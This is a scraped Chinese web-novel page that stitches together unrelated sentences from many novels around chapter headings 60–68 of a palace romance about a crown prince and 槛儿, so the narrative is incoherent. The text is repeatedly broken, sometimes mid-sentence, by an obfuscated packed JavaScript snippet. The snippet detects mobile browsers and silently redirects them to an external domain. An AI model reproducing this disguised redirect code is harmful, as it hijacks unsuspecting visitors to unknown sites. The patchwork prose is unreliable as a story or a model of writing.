回了永煦院,跳珠日行把在嘉荣堂发生的事告诉了寒酥和瑛姑姑。 跑了许久,两人气喘吁吁的停了下来,何跃在角落里看了看高琪琪的几个保镖,已经被子弹打成筛子了,高琪琪也看了看他的保镖,眼中露出了一些悲伤的神色,但是一闪而过,一会儿又恢复了平静,盯着一旁的何跃看。 能否逆转全靠梅川久子,酒井三郎在台下坐不住,上来为她翻译。 “你!”她轻易的就挣脱了机动者的手,然后就像是她将机动者的另一只手臂扯下来那样,她扯下来了第二条。 声音一出,包括他在内所有人,都不约而同地将目光投向子巷子口。 左手轻轻的将酒瓶子我在手里,没有任何的犹豫,赵子龙抬手,酒瓶子就划出一道完美的弧线朝着龙红旗的脑袋上面砸去。 “不用了,多谢叶哥哥,我们这里有水喝的,你不来坐坐吗?"陈晨又问道。 此事,若非有‘实言香’和‘测谎法阵’,我等恐怕也是难以相信。不过这样的话,却是能够解释得清楚当年的诸多疑惑起来。 既然这里是圆形,剩下那个盗洞绝对是通往外面的。应该是盗洞挖到这里,还没有找到那个垂直下来的空洞,所以才会在这里挖成了个圆形,寻找确切位置。 “那牌匾上附带有一丝南宫老祖的残魂,实力不够者看那牌匾会灵魂破碎的。”宗主开口道。 这句话说完,天齐仁圣大帝身躯慢慢幻化消失,最后彻底湮灭在大殿里。 今天的还风有点大,浪花也很大,顾浅越玩越开心,感觉这简直是这辈子最好的一次冲浪了。 毕竟青青当时说了让她保密,她还是不会说的,除非邱青青主动开口。 今日媒人刚自蓝家登过门,戚子煜因为心里烦着,便后脚也借着拜访蓝钟离的由头上蓝家来了。 顾家并不缺一个大学问家,就算得知了顾长离在生物界的地位也不会着么上赶着巴结。 宋毅很想骂娘,九劫魔宗似乎算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751329|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了他回来一样,居然将无数年都难得开启一次的护宗大阵都开启了,不用说这肯定是为了防御他,似乎已经算到他回来报复一样。 他目前对于这些武林高人的识人之能是一点儿也不怀疑了。无论是华佗还是这个关风龙,只要与他一交手,自己的家底便泄得一塌糊涂,不过他也好奇,他是如何知晓的呢? 气氛有些尴尬,萧羽一脸的淡定,而吴雨欣很是羞愧,不知道该如何搭话。 他看着母子二人的目光就仿佛再看一个远道而来,且有事相求的可以一般,生疏,冷漠,却无半点感情,甚至还带这些不耐。 用过早饭后,朝比奈泰亨一行人从北门离开骏府,取道三方原和井伊谷,折而向西,直到三河的吉田城。中午时分,队伍到达了井伊家的居城井伊谷城附近。 事实上他真的很羡慕,蜀中妹儿可没这么软糯,他家那口子也不是吃素的主。 大内皇城里某一个地方却截然相反,虽然亦是灯火通明,却冷冷清清,安静到让人怀疑这里是否还是人间。 第一卷 第60章 让太子和她生米煮成熟饭! “孤还有要紧事,你自回。”吩咐完,骆峋重新看向槛儿,语气波澜不惊。 若非听人来报说她被郑氏叫来伺候,还被留下用膳,他不会跑这一趟。 郑氏打心底瞧不起她。 “我喜欢你,做我老婆好不好?”雷宇一脸认真的看着面前的纲手一字一句说道。 白起猛地向前扑倒,身体在还没有接触地面时猛地扭动,在背部接触到地面后,携着他冲刺时形成的惊人惯性,身体在地面继续滑动,将三发子弹甩到身后的同时,他右手一扬,一条红色的激光直刺到副手正在瞄准的眼睛上。 这场游戏可以不玩……她可以杀了楚翘,也或许就拖延几天。从来没有给自己设定过什么目标,但她就是想要玩这么一场游戏。看看,他能否记忆起她张晓彤呢? 旋即燕破岳发现,对面的中校,竟然也露出了同样的狰狞,眼珠子瞪得滚瓜溜圆。 净宇慈航之力,令被厉佛摧毁的五行天燧阵于一瞬之间恢复如新,整片大纵天州沸腾了。 看完了这一段犹如飞蛾扑火,惨烈而张扬的自杀式攻击,就连狙击手这位身经百战,在战场上习惯了用最平静心态面对一切的老兵,心中都涌起了一股微微的火热和由衷的挽惜,这么英雄的士兵,真是可惜了。 冯青此刻穿着近身的淡蓝色绒衣,在昏暗的环境里面显得分外的妖娆,加上她那坏坏的让人心醉的笑容,李嚣有一种想要亲他的冲动,但是他没有。 “你们最好给我一个解释,为什么她会出现这样的情况?如果这样继续下去的话,她会如何?”上官傲看着医生说道。 如今亲耳听到她自己暴露的那些恶行,他真是想不相信,都不行了。 手机上的号码闪烁着,铃声一个劲地响着,在寂静的楼道里显得格外的刺耳。 万妖学院和星河学院形成的对峙局面,天穹学院暗中发展!各大一流势力纷纷选择阵营,融入到三院之中。 等着安顿好了花的心情,池茵茵就溜了出去,直接奔着安保部去了。 后悔?厉时御不屑的扬唇,他的人生字典里,从来没有后悔这两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751331|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字。 若早知道失去她会如此痛苦,他一定从第一眼见她便用尽全力去爱,或许他们之间就会有另外一番结局,或许坐在一起看电视也不过是生活的一部分,而非遥不可及的奢侈。 这一刻,不知多少人,在说他不知天高地厚,非得与和尚比体魄,这不是找死吗? 那张能与日月争光辉的眸子里面带着点点的笑意,良久之后才是将他的脑袋正过来,一本正经的看着他,红润饱满的唇瓣微微一勾。 暖暖的烛光,燃着银碳的温暖房间,一对惺惺相惜的恋人,冬日的寒冷被温情所阻断,到似成了一派家的模样。 有些遗憾像是个无底洞,无论怎么拼尽全力也依旧填不满,正如那些无法补救的错失误,每逢想起都恨不得能时光倒流。 就像是为了验证他的话一样,其他房间开始玩起了“温暖骨架”的杀人游戏。 阴天阳等人听到这个声音均是脸色难看,云清风则是苦笑着摇了摇头,衣袖一挥,面前阵法如纸糊般被剥开,玄天宗的众人自然也暴露出来。 第一卷 第61章 太子又想宋昭训了,海顺:“??!” “这种事,还是别告诉主子了吧……” 听完小福子说的事,喜雨迟疑道。 小福子也在犹豫。 消息是从嘉荣堂传出来的。 大抵是太子妃想杀鸡儆猴,所以不单让嘉荣堂的宫女太监都去观了刑,还让消息在后宅的宫人之间流传。 孙猪沙三位激情的称颂,伴随着一声骏马的嘶鸣,只把法海心中的虚荣心推上了极致。 无论21点还是梭哈、德州扑克,也没见3有多重要?似乎还是变A、变K更实用一些,所以根本无法理解这些赌界高手为什么要孜孜追求这种看似并不实用的技术。 台下嘘声一片,刚刚的称赞声,顿时偃旗息鼓,纷纷目光怀疑地看着他。 金三角区域面积不大,却也有十几万平方公里,近百万人口,他们掌握着大片肥沃的土地,却只有极少一部分土地上种植了粮食。 利广和今年四十一岁,可是基因优秀、人又保养的好,所以看上去像是刚刚三十出头的样子。 走走停停,道路不窄,但是却弯路不少,尤其是两侧峭壁时不时掉下来石块,十分危险。也幸好众人戴着鬼面,不用担心雨水会遮蔽自己的双眼,再加上有斗笠存在,众人不用担心视觉问题。 两人商量了一阵后,就退了回去,现在就差尤里的武器和从各地着急来的援军。 楚澜狠狠地落下一子,力道比之前要猛烈,不偏不倚居然落在了泪水和血水之间。 现如今,萧鼎天勘破天人桎梏,成功晋升到天元之境,不仅生命层次得到了升华和蜕变,其实力更是无比的强大。 嘉夕关,月光照着土黄的大地,士兵正在巡逻守夜,一望而去,透着阵阵的凄凉之意。 乔维安摸摸自己的头,觉得很尴尬。这时,她还没反应过来,就听到了周天的笑声。她的脸上瞬间充满了夏虹,她看着乔维安尴尬。 “我看看,有没有其他突破口。不走阵的话,是否还有其他的办法。”冷蓉蓉道。 所以叶云舒一抬眼,就看见郑加浩端着碗朝自己走来,后面跟了四个大汉,真有点大人物出巡的感觉。 她相信,有盟主大人的帮衬,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751332|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己在炼造涅槃丹在路上一定会越来越顺利。 “父亲,你不能死!如果你死了,我们该怎么办?”瘦高个看到乔祖飞的神色,心里不由得一紧,对着乔祖飞说道。 花了几分钟的时间,秦峰找到了苏涛,让他把所有潜伏的暗哨都带回山谷,外面不要留一人。 这时,他眼角看见一个巨大的身影飞速的朝着手雷落地的草丛跑去。 血气方刚的胖子那经得住这,连忙准备竹筒倒豆子全部供出时,苏筌忽然出现在其身后,一个大脑瓜崩就朝胖子头上飞去。 坐在苹果树的枝丫上,随手摘了一个苹果,咬上一口,依然汁水很多。 刘峰看的奇怪:“馨儿,发生了什么事情?那灰色灰末是什么?”看华馨儿的表情,明显知道那灰色的粉末是什么。 那一刻,风杨向恶魔之神妥协,与咝丽纱堕入迷情粉媚之中,成为了恶魔族神皇。 通关了英雄模式的锡兰宫殿,雷默因为能量耗尽而消失,当叶飞拿出贤者之石查看的时候,愕然发现贤者之石居然处于一种被封印的状态。 第一卷 第62章 太子爷的嘴角翘到一半没翘起来 次日一早。 请安刚开始没多久,槛儿和曹良媛、秦昭训就被郑明芷耳提面命了一番。 大致便是太子如今已入朝,近日没时间来后院,希望她们能安分守己。 勿要惹什么事端,叫太子分心。 好吧。 话都说到这份上了。 “鼬,你明明活着,为什么一定要把眼睛给我?”佐助这时又将目光转向了鼬。 “比如,现在天气也不冷,一‘床’被子就没问题。”他的表情写满认真,若真的是在谆谆教诲她要勤俭节约一般。 努力定睛,抬手揉了揉太阳穴,青霜这才稳住了心神,不至于仰倒而下。 果真如此,那岂不是天助我也!刘邦有点惊喜道。心中还是将信将疑:不管这韩信如何,萧丞相寡人是要留住的,所以还是得依了他。 洪承畴心头电光火石般地一闪,记起韩城大战时王左挂身前那个凶狠的侍卫,不由脱口而出:“李自成!”真的是他?看來王左挂怀有反叛之心已久了,筹划甚密。洪承畴越想越觉心不住地往下沉。 罗森需要每隔半日为自己施展一次神圣光辉,才能抵挡住黑骨灵炎所带来的伤害。 按一般的工作流程,他们几人分头收集周勘,张猛,刘更生的罪状,然后故意在他们工作的时候找人给他们下套子,然后通知许,史两家人与他一起向皇上进言这些人的毛病。 不论自己怎么给简莫凡发短信,他就是不回。这几天,她天天都发。但是他却没有回过一条。 仪式完毕,刘邦为免众将不服,当众宣布:韩信可以节制所有在外军机,如有藐视韩将军者,可以先斩后奏。 徐府的马车,驶到奉天门前,杨帆夹着一个木盒子,匆匆入宫。来得急,连衣服都未换,脸上胡渣杂生,连头发都是乱糟糟的。 纷扰便由此诞生。杀戮或许是看得见的血腥,但这样的暗斗,往往兵不血刃,家破人亡却在一夜间。杨帆以前喜欢玩一款dota的游戏,却很不喜欢一个英雄,便是炸弹人,那是一个工于心计的英雄。 这现身之人,却正是于绝境中顿悟了时空奥秘,而遁空而来的秦一白。 炸得那个轰轰烈烈,只见风无情身边的两位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751333|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美人,脸都有几分青了。 对方的牧师MM见此,竟然没有任何的动作,但我并不奇怪,因为琪妹已经用灵术师的看家本领把她控制住了。 将两位当爷供着也不能惹毛这些人!那些人的后,是炎族,那可是真正的大家族,他们可惹不起。 苦笑的看向不远处,发现自己不知何时竟然来到了一片深山老林之中。 呼厨泉的种种异状让吕蒙怀疑其图谋不轨,很可能邓当之死就与其脱不开关系,如今鲜卑已反,吕蒙不可能拿下呼厨泉,那样明摆着会把匈奴逼向鲜卑人。 是没有想到过,但,世事往往让他来不及,或者,是心有而力不足。 同样是经历过百鬼聚煞的侵蚀,陈婷气色红润似乎完全没有收到之前的影响。与一副纵欲过度的样子的黄俊有天壤之别。 几个男富二代,指着高明远!一边的张艳冰一看,急了!穷屌丝? 突地鬼影停住脚步,好像发现了什么绝佳的东西它兴致冲冲往前跑,可当它定睛一看又慌忙往后缩了几步,它回头百般踌躇地在那人身上看了许久,仍是不动。 第一卷 第63章 拉太子下马!让宋槛儿做不成皇后! 丫鬟将锦盒呈到小主子面前。 “来人说宋昭训叫她代为转告郡主,郡主的礼宋昭训已收到,宋昭训很喜欢,也很谢谢郡主的礼。 请郡主不必将家宴中的事放在心上,盒里的东西出自宋昭训之手,望郡主笑纳。” 接过来青雅扔过来的纸之后,秦俊熙就低头在上面写写画画了起来。 陆宇听完陆安可所说的话,沉默着低着头,他没想到在他的认知里对姐姐特别好的金缇竟然会这么对姐姐,自己也不清楚这里边的事儿,还一门心思的以为金缇是一个特别值得相信的人,现在想来还真是讽刺。 “我不是秋田铭的对手,我是特意来接你回去的。”金煜城转身一把揽住城主,转身便逃。 “如果这千年的岁月让我正常成长起来,如今的你根本没有资格在我面前放肆。”血凝殇愤怒的低吼,杀意澎湃。 就算再疲惫,他也强撑着身体,来到船头。这个时候,他的心腹,原本的舰长已经在船头举起同意是肖林卖给他们的双筒高倍望远镜观察力。直到伊吉克拍了他肩膀一下,他才放下了望远镜。 陈是秦若冰妈妈的姓氏,秦若冰她们的爸爸在很久之前就因为车祸已经去世了。 哑乞婆笑了笑,我跟雄哥一起去,他为人太憨厚了我不放心,再说要是告状的话我还可以提写状子,至于这孩子吗,那就只有拜托秀姐了。 而逃到一盏灯客栈的人呢,大多还是一些江湖一人,基本上都是靠卖艺为生的这些人有着一些才艺,但是武功不高甚至有的,根本就不会武。 凌然没有说话,闭着眼睛,神色平静,像是陷入了沉睡中一般,但是紧接着,她的体内便传出一股氤氲的波动,雷羽惊愕的看着她,竟然就这么突破了? 这些血姆元晶,自然是他当初在邪神秘窟第三层所获得,一共七枚。 等习择将他的头拽起来,这位慈祥村长的半张脸都已经被炭火烧烂了。 美好的心情却在回到家的那一刻被破坏殆尽,屋里冷冷清清,只有褚玉湖和他住着的卧室窗口,还有一丝光亮,苏若彤竟是还没有回家。 鲜艳的花朵被绿色的汁液浸泡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751334|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间功夫就消失不见,在绿色汁液里没有留下一丝的痕迹。 “当”的一声,两个玻璃瓶子碰撞在一块儿,两人都直接对着瓶口吹。 她思念那个金甲蒙面人,尽管没过他的真面目,却可以感觉到他的义胆侠心,那种舍已救人的气概无人可敌。 锁扣虽然都撬下来了,棺材却还是打不开,刚才木头的爆裂声可能是因为棺材密封太严,木头膨胀所致,棺盖与棺身之间的缝隙里有胶状物,看起来是封棺时用以密封的,想完全打开,还需要一些时间。 曹彰睡了几个时辰,精力也恢复得差不多了,见到袁寨中炊烟起,立刻率领两千人马奔出树林,向袁寨一侧悄悄摸去。 “巫瓶是我族的圣物,有辟邪的功效,如果将药放在里面肯定会事半功倍。”贺兰锦和凌风解释道。 可刘备抓不定主意,去汝南是神仙安排的,不问过神仙怎么敢走? 但是尽管受到的伤害十分严重,二人并没有退缩,求道玉再次浮现,漂浮在二人身边。二人的手中也不知何时出现了两支禅杖。 第一卷 第65章 槛儿:蒙眼??太子真的很闷骚! 骆峋过来前沐浴过了,槛儿去浴间收拾时他还是习惯性地进了书房。 自打太子叫人送来了启蒙书册和碑帖,槛儿这几日可谓是日日不辍。 原本只是做做样子,谁知温故而知新,不知不觉还真沉浸到了书本里。 他并不想其他人一样,在面对千道流时,表露出十分恭敬的样子。 “好好”,乔闫唐连声应道,等着苏杳签好了名字,认真叠好后,放在自己口袋里。 而且这境界还有风险,其境界一到,不打坐修行还罢了,若是打坐修行,就会受到世间种种灾劫幻象拷问,一有不甚,那就不是好玩的了。 那最后两个字回荡在耳旁,使得唐三的脸上涨的通红,手指紧紧的抓着床板,似是要在床板上抠出洞来。 他大袖一挥,便吹出一股风,那风迷人眼睛,让村庄的所有人下意识都遮住。 这里原本要建成一片宅院,不知为何半途停工,工地也就荒废下来。 龙凰本源果的形成有很大的概率性,首先必须要是斗圣级别的远古天凰和太虚古龙陨落在同一个地方,本源交织,其次还要看运气,尸骸中的本源极有可能在没有形成龙凰本源果之前就消散在天地之中。 1977年3月初,九龙东区的尖沙咀商业中心一栋大楼投入使用,门口都是花篮。这就是龙华科技的总部大楼。 而只有煞僵,才能感染人类变成白僵,南宫家的工人和佣人,到处都是活死人僵尸,全都是那家伙造成的,不过,传播的时候,毒性会逐渐衰减。 每次的鉴宝大会,都是各地顶级收藏家拿出来的顶级宝物,供各古玩大师鉴赏。 这会儿顾朝颜是不能走了,直接留了下来,打算跟着燕夫人他们一同前去看看情况去。 苏九摆明了就是个吃软不吃硬的主,北冥子修一服软,她的心情立刻就柳暗花明了。 原本想习惯性的拍别人肩膀,因为是皇后娘娘,这个动作只能作罢。 虽然他有着硕士的学历,但那是在空余时间进修完成的;国防大学的校门,他只在领毕业证的时候才进去过一次。 麻醉剂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751336|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打了至少全身都没感觉了,也不像现在,浑身无力那都是有感觉得,心都跟着累得慌。 叶然然并没有为难静秋,尽管心里有些失望,可也没有表现出来。 顾朝颜看着知天命法师,这是她自己第一次亲自见到知天命法师,她总有一种,不知道该怎么说的感觉。 不是他好心,而是这种无关紧要的人,他真的连出手的心思都没有。 由于擎天界有不少玄灵境,神兽界来人中,三大尊主特地挑选出了长老、导师等重点培养的精英,也都是玄灵境。 向他们展示他的实力吗?向他们展示华夏国的医生的手术水平吗? 也许这就是命运吧,天地不仁以万物做刍狗,古人早就看透了这个该死的命运,该死的老天,那么多能人圣人都逃不脱命运的锁链,何况我们一介草民。 我看看王老七,然后我俩同时向后跑去,我跑了大概十多步才想起来,我要是这么跑了,那么何事成就得交待这来,于是我对王老七喊道:“老七你先把四九带走”喊完,我又跑了回去。 第一卷 第66章 太子动心 槛儿一怔。 没想到他要说的是这个,然后她就被他最后一句话转移了注意力。 几乎不用多想,李洵就能预见到维克萨的悲惨命运。因为比他视界更开阔的李洵已经在他身边发现了三四个对其接下来命运造成重大影响的隐患,而他却对此茫然无知。 “这……这尸体好古怪。”情颠大圣最先发现了那躺在地上的尸体古怪之处。 再怎么说,也是皇室的公主,若是做的太过了,只怕皇上不会坐视不理。任何事情,都会留下蛛丝马迹,若是被皇上抓到了什么把柄,就真的是划不来了。 上官家自愿将淮水,广通渠,汉水等水路之上,一半的船只,及行运控制权出售给顾家,现银已讫。权柄交予顾家六郎君顾衍。 两位8阶大巫师,二十多个中高阶巫师,以及众多的低阶巫师和400人的巫师守卫。以这样的力量来看守燃烧平原的入口,倒也显现了东地塔林巫师协会对此地的重视。不过这也侧面推高了卡尔萨斯闯入的难度。 穆流年要考虑的,实在是太多了,稍有不慎,便极有可能会铸成大错。 那一条带血的肌肉,被九幽法老随意地扔在地上。白羽手臂上,那条长长的刀痕,竟然在九幽法老的治疗中,融合起来。 说完,手中的法宝绝情刀突然消失不见,再次悄无声息的砍了过来。 诸神点点头,赞同宙斯的说法,若没有“命运”给帕里斯增加力量,帕里斯不会是赫拉克勒斯的对手。 苏浅漓从前最喜欢这首词,后来齐楚为了作了曲,时常吹给她听。 就在这时,那爱情种子在体内终于有了反应,唐森感觉他对嫦娥那种愿意赴汤蹈火的感觉又上来了,情愫在飙升,荷尔蒙再次被激发,恨不得一把将嫦娥仙子搂入怀中。 强作镇定,肖楚在心里狠狠鄙视了阿拉蕾一阵,还是不说话,吊别人胃口的事情,他最喜欢,慢条斯理的翻出一根烟,惬意的点上,一股烟草味儿瞬间弥散开来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751337|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“都这么久了,我怎么记得?”廖不到以为自己很聪明,可是他真的蠢到家了。 喊完屠夫直接在身前和身体两侧各丢了一个木系职业控制技能同时范围技能如同不要钱般地丢出去。 “哈哈。你内疚了?别不承认,你一定是内疚了。你觉得他们是因为你才死的是吗?”赛莫洛夫继续无所谓的问到。 眼看着七炼七锻符剑秘要的修习进度进入瓶颈,纵剑九天也不强求。 欢迎仪式,见面会,有多隆重就弄多隆重,王克之前已经来过一次了,不过现在再过来,身价明显不一样了,受到的待遇自然也就不一样了。 唐森贱贱一笑,驾着筋斗云极速而行,一下将众天使甩到十万八千里后。 她虽不打扮,平日穿得也朴素,但若细细去打量这位长辈,皮肤、身材等状态都很好。 林乔并没有忘记帅哥的赴约,刚一到酒店门口,立刻就被扯进了屋子里,没有任何的前奏,摁在床上就来了一番。 第一卷 第67章 太子的提盒里装的啥?? “主子,殿下走远了。” 跳珠的声音从旁边传来,槛儿收回视线侧身,对上跳珠忍笑的眼神。 “笑什么?” 槛儿往回走,随口问。 跳珠提着灯笼,藏不住笑意地很小声道:“主子对殿下真是有心。” 以往送殿下要么送到厢房门口,要么院门口,今儿殿下当差第一天,主子就把人送到了西六院门口。 讲究的呢。 天色已然黑下来,雨也停了,刚下过雨的空气中,飘着一股淡淡的泥土的芬芳,让人闻之神清气爽。 早晨的时候,聂琛给她的那五千万就已经到她的户头上了,所以她也不用在求助于聂琛了。 庙宇内的种种神奇,使得庙宇中每天的人都爆满,结果就是给打井的工作,带来了很多的不便,可是,现在的村民们已经顾忌不到这些东西了。 蒲草倒是越发喜爱他这样的真性情,说话也不再掖着藏着,开诚布公的请这位平易近人的“郡王”帮忙完善计划。 俩人一路进了城,到得喜洋洋居然不见方杰,原来他又转去了钓鱼山庄。蒲草这半日心里憋屈的好似要爆炸,满心里就想找到方杰说说。于是马车又出了城直奔钓鱼山庄。 专家们还称,最近在药物的研究方面也已经有了突破性的进展,相信只要再过一段时间,特性药物就可以真正的被研制出来了。 宁夏第一眼看见这栅栏墙的时候,就心里好笑的想费这功夫做什么?栅栏破的连羊都挡不住,还想挡什么?当摆设吗?那么这房子的主人可真有格调的,品味跟那些到处拉屎拉尿的羊差不多。 “薇薇,我要那个番茄炒蛋里面的蛋!”唐瑄礼见包薇薇今天特别好说话,马上得寸进尺地继续要求到。 这样以来,北府军九个中郎将府则不再保留,除第四第五中郎将府之外,其他参与北伐。 子云阻止江不悔说下去了,”江大哥,让我来。“子云直接走到侍卫面前,这侍卫眼力劲也是够亮的,毕竟在这拍卖场干了好多年,经常遇上各色各样的人物,首先他见子云如此气度,甚至他都感觉到一丝丝压迫感了。 “放肆!你就不信老夫在这抹杀了你!”叶狂右手一捏,绿色的气焰喷涌而出,两旁的墙壁直接崩塌程粉末。 康桥正在和一个mm玩骰子,季飞尘正在和一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751338|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个mm唱广岛之恋,也被雷子给吓了一跳。 而且,这一次的道歉,很明显只是为了自己的感受,而没有任何目的。冷雨柔鼻子一酸,可终究没说什么,只能假装没听见。走到浴池里面,打开花洒,冲洗着自己的身体,顺便也整理着凌乱的思绪。 后来他也调查了这个学妹的来历,结果却发现与峰谷城的卢家关系甚密,就没有在继续调查了。 “具体我也不清楚,她只是说要带我和中晟的程旭一起去峰谷学院旁的某个地方看看。”少年老实回答道。 冷雨柔无奈扶额,他真没想到龙漠轩会去找父亲,他到底什么意思? 而且这样就可以断定,这个‘僧侣’是神秘公会预留的高级没转职的法师了,因为新出职业不可能一下子就那么高级。 不过许婷会殉情倒极有这种可能,她是典型要么不爱上,爱上就一辈子,和天鹅一样纯洁神圣的存在。 此时的凌天已经杀红了眼,背叛,出卖,一直困扰着他的内心,他很愤怒,全身散发着浓浓的戾气,他需要发泄,杀是最好的发泄,仰天长啸一声,凌天扬起手里的寒月战刀扑向身边的三名烟衣人。 第一卷 第68章 太子当差首日,食盒之争! 这时,一个做书吏打扮的清瘦男子,忽然从旁边夹道里蹿了出来。 他没有注意到人,一手拿着文书袋一手提溜着袍摆低头直往衙署里冲。 一旁的禁军以防他冲撞了太子,伸手拦了一下:“书办慢行,殿……” 话音未落。 这东西是主办方提前为所有队伍准备好的交通工具,只要他们到达指定地点,便可以直接使用。 五识全开,能看能闻能听,正常人根本对抗不了,只有有修为的道士才能降服。 这也是姓朱的老鱼贩,压价不成,还敢放话,让他去其他家问价的原因。 不过这时候东南亚的绑架并不猖獗,要到了几年后,不容易从国内骗人过去的时候。 来人进来后,笑着和那位眼睛放光的工作人员点了个头后,就走到了曾娟身边。 当时身边所有的人都是在说他半路发病昏过去才会失去的那段记忆,可只有他自己知道,他们说的不对。 充做银钱,又做熔炼,几番来往下来,远的都不必说,这三四百年间,大明的银钱浮动甚至还跟宋初、唐初之时一般。 计算好落地点后,归商破窗而出,一路滚到巨石之下才堪堪停住。 “好,知道尼基塔不差这一点钱,那么聚会的场地就由你来解决,我这边看一下,能不能邀请一些实权的领导,到来。”安德森开口。 范亦涵指了指呆坐的周墨,又指了指他身后沙发上搭着的大衣外套。 门乙在这期间始终一动不动,门甲虽然断了一臂,也不愤怒也不自卑,一收脚回到了自己位置,如果不是断臂在地,炮天明还真以为刚才只是一个梦。 炮天明嘻嘻一笑,不再说什么。雾里花也笑了一下,两人期待着即将开始最混乱的江湖。 试想一个在宴会上刺杀自己的人,将来若是成了孤狼的妻子,难免不会渐渐成为一种隐患。 现在的自己,有了紫云英这个平台和跳板的自己,眼界已经完全不同。 金兵退去不到两刻的时间,西南方向一支宋军带着滚滚尘土如潮水般涌来。 职业特点:破邪之眼,真实之眼的进阶技能,被动,可以发现一切攻击的弱点,并利用丰富的攻击手段击破攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 